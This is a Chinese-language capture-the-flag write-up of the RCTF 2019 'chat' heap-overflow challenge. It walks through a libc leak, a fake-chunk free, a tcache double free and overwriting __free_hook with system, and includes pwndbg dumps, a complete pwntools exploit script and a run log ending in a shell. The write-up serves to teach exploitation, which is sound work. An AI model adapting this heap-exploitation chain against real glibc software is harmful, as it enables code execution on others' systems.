堆溢出类型,难点在于程序及其复杂的结构体,赛时靶机环境是glibc-2.27,下面所讲的symbols在IDA分析文件中均有对应。
源程序和相关文件下载:https://github.com/Ex-Origin/ctf-writeups/tree/master/rctf2019/pwn/chat 。
目录
安全防护
ex@Ex:~/test$ checksec chat
[*] '/home/ex/test/chat'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
简介
程序里面是一堆及其复杂的结构,我们不可能把每一个函数都进行仔细分析,只需要在关键点下断点就行了,比如sync
函数,modify
功能,在这些地址下断点,并观察其执行前的状态和执行后的状态,然后进行对比,这样能更快理解程序。
溢出点
sync
mmap_addr->message->message
原本应该是字符串的,但在sync函数中却被当成偏移来使用,所以造成了该漏洞,这个比较容易发现,因为这个漏洞会直接造成程序crash。
message_list = (struc_message *)malloc(0x30uLL);
v11 = (struc_message *)((char *)mmap_addr + mmap_addr->message);
v5 = message_list;
v5->message = (__int64)strdup((const char *)mmap_addr + v11->message);// exploit
now和user_list
now是一开始就初始化好的,在程序中一直指向260
chunk,但是在sync
函数中,会进行一次更新操作,而且tcache是FIFO模式
,也就意味着我们可以利用别的结构来控制now的260
chunk。最好的理解方式就是画图。
调试结果如下所示,所以now的每一次被写入的结果都是可预测的。
Breakpoint sync
pwndbg> pr
user_list
$26 = (struct user *) 0x8ba260
$27 = {
user_num = 0,
room_num = 0,
name_mmap_offset = 0x40 <error: Cannot access memory at address 0x40>,
next = 0x0,
field_18 = 0x7f9910ee6044,
name = 0x8bb170 "dddddddd\020\060\276\377\377\377\377\377", 'd' <repeats 16 times>, "\220\061`"
}
room_list
$28 = (struct room *) 0x8ba6b0
$29 = {
room_num = 0,
name = 0x8bb100 'b' <repeats 88 times>,
field_10 = 0xa8,
next = 0x0
}
message_list
$30 = {
user_num = 0,
room_num = 0,
message = 0x8ba290 "P\207\316\020\231\177",
field_18 = 0x15e,
is_use = 0,
next = 0x0
}
pwndbg> stepret
pwndbg> pr
user_list
$31 = (struct user *) 0x8ba6b0
$32 = {
user_num = 0,
room_num = 0,
name_mmap_offset = 0x40 <error: Cannot access memory at address 0x40>,
next = 0x0,
field_18 = 0x7f9910ee6044,
name = 0x8ba260 "dddddddd\020\060\276\377\377\377\377\377", 'd' <repeats 16 times>, "\220\061`"
}
room_list
$33 = (struct room *) 0x8bb170
$34 = {
room_num = 0,
name = 0x8bb1a0 'b' <repeats 88 times>,
field_10 = 0xa8,
next = 0x0
}
message_list
$35 = {
user_num = 0,
room_num = 0,
message = 0x8ba290 "P\207\316\020\231\177",
field_18 = 0x15e,
is_use = 0,
next = 0x0
}
思路
- 泄露libc
- free假的chunk
- double free
- 劫持hook
泄露libc
因为mmap申请的内存每次和libc
的偏移是固定的,可以利用sync
的溢出点泄露libc地址。
sh.recvuntil("please enter your name: ")
name_addr = 0x603140
name_layout = [
0x61616161616161, 0x61616161616161, 0x61616161616161, 0x61616161616161,
0, 0x21, 0, 0,
0, 0x21, 0, 0,
0, 0x21, 0, 0,
]
sh.sendline(flat(name_layout))
sh.recvuntil("help\n==========================================\n")
sh.sendline('enter ' + 'b' * 0x58)
sh.recvuntil('==============================================================')
# offset = 0x41d000 - 0x10 # _GLOBAL_OFFSET_TABLE_+16
offset = 0x21d000 - 0x10 # _GLOBAL_OFFSET_TABLE_+16
# pause()
sh.sendline('say ' + p64(0x10000000000000000 - offset))
sh.recvuntil('==============================================================')
# pause()
sh.sendline('')
sh.recvuntil(': ')
result = sh.recvuntil('\n')[:-1]
# You should calculate the value by yourself
value_offset = 0x408750 + 0x202000
# value_offset = 0x408750
libc_addr = u64(result.ljust(8, '\0')) - value_offset
log.success("libc_addr: " + hex(libc_addr))
fake_chunk
sh.sendline('')
# pause()
sh.sendline('modify ' + 'd' * 8 + p64(0x10000000000000000 - offset) + 'd' * 0x10 + p64(name_addr + 0x40 + 0x10))
sh.recvuntil('==============================================================')
sh.sendline('modify ' + 'e' * 0x78)
sh.recvuntil('==============================================================')
这里用到了上面我们在name
中构造的fake_chunk
,原理是注入payload之后,在更新时,由于payload的chunk是0x30
的size,刚好可以符合struct name
的长度,所以可以通过同步,来控制260
chunk的内容,也就是now的值。这样就可以直接free掉我们伪造的chunk。
调试结果如下:
Breakpoint sync
pwndbg> pr
user_list
$1 = (struct user *) 0x1c76260
$2 = {
user_num = 0,
room_num = 0,
name_mmap_offset = 0x40 <error: Cannot access memory at address 0x40>,
next = 0x0,
field_18 = 0x7f7d94006044,
name = 0x1c77170 "dddddddd\020\060\276\377\377\377\377\377", 'd' <repeats 16 times>, "\220\061`"
}
room_list
$3 = (struct room *) 0x1c766b0
$4 = {
room_num = 0,
name = 0x1c77100 'b' <repeats 88 times>,
field_10 = 0xa8,
next = 0x0
}
message_list
$5 = {
user_num = 0,
room_num = 0,
message = 0x1c76290 "P\207\340\223}\177",
field_18 = 0x15e,
is_use = 0,
next = 0x0
}
pwndbg> stepret
pwndbg> pr
user_list
$6 = (struct user *) 0x1c766b0
$7 = {
user_num = 0,
room_num = 0,
name_mmap_offset = 0x40 <error: Cannot access memory at address 0x40>,
next = 0x0,
field_18 = 0x7f7d94006044,
name = 0x1c76260 "dddddddd\020\060\276\377\377\377\377\377", 'd' <repeats 16 times>, "\220\061`"
}
room_list
$8 = (struct room *) 0x1c77170
$9 = {
room_num = 0,
name = 0x1c771a0 'b' <repeats 88 times>,
field_10 = 0xa8,
next = 0x0
}
message_list
$10 = {
user_num = 0,
room_num = 0,
message = 0x1c76290 "P\207\340\223}\177",
field_18 = 0x15e,
is_use = 0,
next = 0x0
}
pwndbg> prn
$11 = (struct current *) 0x1c76260
$12 = {
user_num = 1684300900,
room_num = 1684300900,
name_mmap_offset = 0xffffffffffbe3010 <error: Cannot access memory at address 0xffffffffffbe3010>,
room_mmap_offset = 0x6464646464646464,
field_18 = 0x6464646464646464,
user_name = 0x603190 ""
}
$13 = (struct message *) 0x7f7d9400615e
$14 = {
user_num = 0,
room_num = 0,
message = 0xffffffffffbe3010 <error: Cannot access memory at address 0xffffffffffbe3010>,
field_18 = 0x0,
is_use = 0,
next = 0x0
}
$15 = 0x7f7d93be9010 "P\207\340\223}\177"
可以看到,执行完sync
函数后,user_list->name
用的是260
chunk,也就是意味这now可以被我们所控制,所以now->user_name
已经是我们伪造的chunk的地址。
double free
这里同理,进行double free
,那么就可以在tcache中写入__free_hook
。
# pause()
sh.sendline('modify ' + p64(libc_addr + libc.symbols['__free_hook']))
sh.recvuntil('==============================================================')
结果如下:
pwndbg> bin
tcachebins
0x20 [ 2]: 0x603190 —▸ 0x7f8ab8e7d8e8 (__free_hook) ◂— 0x0
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x0
smallbins
empty
largebins
empty
劫持hook
消耗掉前面的0x603190
,之后便可以拿出__free_hook
,将__free_hook
改为system
从而拿到shell。
sh.sendline('modify ' + p64(libc_addr + libc.symbols['__free_hook']))
sh.recvuntil('==============================================================')
sh.send("say " + 'f' * 0x17)
sh.recvuntil('==============================================================')
# pause()
sh.send("say " + p64(libc_addr + libc.symbols['system']))
sh.recvuntil('==============================================================')
sh.send("say " + '/bin/sh\0')
sh.recvuntil('==============================================================')
sh.send("say " + '/bin/sh\0')
sh.recvuntil('==============================================================')
sh.send("say " + '/bin/sh\0')
sh.recvuntil('==============================================================')
sh.sendline('')
sh.interactive()
完整代码
#!/usr/bin/python2
# -*- coding:utf-8 -*-
from pwn import *
import os
import struct
import random
import time
import sys
# Create a symbol file for GDB debugging
try:
gdb_symbols = '''
struct user
{
int user_num;
int room_num;
char * name_mmap_offset;
struct user *next;
void *field_18;
char *name;
};
struct user user_no_use;
struct current
{
int user_num;
int room_num;
char * name_mmap_offset;
struct user *room_mmap_offset;
void *field_18;
char *user_name;
};
struct current current_no_use;
struct room
{
long long room_num;
char *name;
void *field_10;
struct room *next;
};
struct room room_no_use;
struct message
{
long long user_num;
long long room_num;
char *message;
void *field_18;
long long is_use;
struct message *next;
};
struct message message_no_use;
struct mmap
{
long long user;
long long message;
long long room;
};
struct mmap mmap_no_use;
'''
f = open('/tmp/gdb_symbols.c', 'w')
f.write(gdb_symbols)
f.close()
os.system('gcc -g -shared /tmp/gdb_symbols.c -o /tmp/gdb_symbols.so')
# os.system('gcc -g -m32 -shared /tmp/gdb_symbols.c -o /tmp/gdb_symbols.so')
except Exception as e:
print(e)
context.arch = "amd64"
# context.log_level = 'debug'
execve_file = './chat'
# sh = process(execve_file, env={"LD_PRELOAD": "/tmp/gdb_symbols.so"})
sh = process(execve_file)
elf = ELF(execve_file)
libc = ELF('./libc-2.27.so')
# Create temporary files for GDB debugging
try:
gdbscript = '''
set $user_list=(struct user **)0x603258
set $room_list=(struct room **)0x603120
set $message_list=(struct message **)0x603250
set $mmap_addr=(struct mmap **)0x603110
set $now=(struct current **)0x603240
define print_recv
p *$temp
if $temp->next
set $temp=$temp->next
print_recv
end
end
define pru
set $temp=*$user_list
print_recv
end
define prn
set $temp=*$now
p $temp
p *$temp
set $temp=$mmap_addr
set $temp=(struct message *) ((char *)*$mmap_addr+(long long)($temp->message))
p $temp
p *$temp
p (char *)((char *)*$mmap_addr + (long long)($temp->message))
end
define prr
set $temp=*$room_list
print_recv
end
define prm
set $temp=*$message_list
print_recv
end
define pr
echo user_list\\n
p *$user_list
pru
echo room_list\\n
p *$room_list
prr
echo message_list\\n
prm
end
define prmmap
set $temp= (struct user *)((char *)*$mmap_addr + (*$mmap_addr)->user)
p *$temp
p (char *)((char *)*$mmap_addr + (long long)($temp->name_mmap_offset))
set $temp= (struct room *)((char *)*$mmap_addr + (*$mmap_addr)->room)
p *$temp
p (char *)((char *)*$mmap_addr + (long long)($temp->name))
set $temp= (struct message *)((char *)*$mmap_addr + (*$mmap_addr)->message)
p *$temp
p (char *)((char *)*$mmap_addr + (long long)($temp->message))
end
b sync
b *0x401FB3
'''
f = open('/tmp/pid', 'w')
f.write(str(proc.pidof(sh)[0]))
f.close()
f = open('/tmp/gdbscript', 'w')
f.write(gdbscript)
f.close()
except Exception as e:
print(e)
sh.recvuntil("please enter your name: ")
name_addr = 0x603140
name_layout = [
0x61616161616161, 0x61616161616161, 0x61616161616161, 0x61616161616161,
0, 0x21, 0, 0,
0, 0x21, 0, 0,
0, 0x21, 0, 0,
]
sh.sendline(flat(name_layout))
sh.recvuntil("help\n==========================================\n")
sh.sendline('enter ' + 'b' * 0x58)
sh.recvuntil('==============================================================')
# offset = 0x41d000 - 0x10 # _GLOBAL_OFFSET_TABLE_+16
offset = 0x21d000 - 0x10 # _GLOBAL_OFFSET_TABLE_+16
# pause()
sh.sendline('say ' + p64(0x10000000000000000 - offset))
sh.recvuntil('==============================================================')
# pause()
sh.sendline('')
sh.recvuntil(': ')
result = sh.recvuntil('\n')[:-1]
# You should calculate the value by yourself
# value_offset = 0x408750 + 0x202000
value_offset = 0x408750
libc_addr = u64(result.ljust(8, '\0')) - value_offset
log.success("libc_addr: " + hex(libc_addr))
sh.sendline('')
# pause()
sh.sendline('modify ' + 'd' * 8 + p64(0x10000000000000000 - offset) + 'd' * 0x10 + p64(name_addr + 0x40 + 0x10))
sh.recvuntil('==============================================================')
sh.sendline('modify ' + 'e' * 0x78)
sh.recvuntil('==============================================================')
sh.sendline('')
sh.recvuntil('==============================================================')
sh.sendline('')
sh.recvuntil('==============================================================')
# pause()
sh.sendline('modify ' + p64(libc_addr + libc.symbols['__free_hook']))
sh.recvuntil('==============================================================')
sh.send("say " + 'f' * 0x17)
sh.recvuntil('==============================================================')
# pause()
sh.send("say " + p64(libc_addr + libc.symbols['system']))
sh.recvuntil('==============================================================')
sh.send("say " + '/bin/sh\0')
sh.recvuntil('==============================================================')
sh.send("say " + '/bin/sh\0')
sh.recvuntil('==============================================================')
sh.send("say " + '/bin/sh\0')
sh.recvuntil('==============================================================')
sh.sendline('')
sh.interactive()
运行实例
ex@Ex:~/test$ ./exp.py
[+] Starting local process './chat': pid 20694
[*] '/home/ex/test/chat'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
[*] '/home/ex/test/libc-2.27.so'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[+] libc_addr: 0x7f4924803000
[*] Switching to interactive mode
sh: 1: Syntax error: EOF in backquote substitution
sh: 1: P\xb7�: not found
sh: 1: ffffffffffffffffffffff: not found
sh: 1: : not found
sh: 1: @$\x85\x7f: not found
sh: 1: : not found
$ id
uid=1000(ex) gid=1000(ex) groups=1000(ex),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),112(lpadmin),127(sambashare),129(wireshark),132(docker)
$
总结
对于这种复杂的程序想把其吃透是很难的,所以最好的方式就是仔细分析其关键路径,进而在当中挖掘漏洞。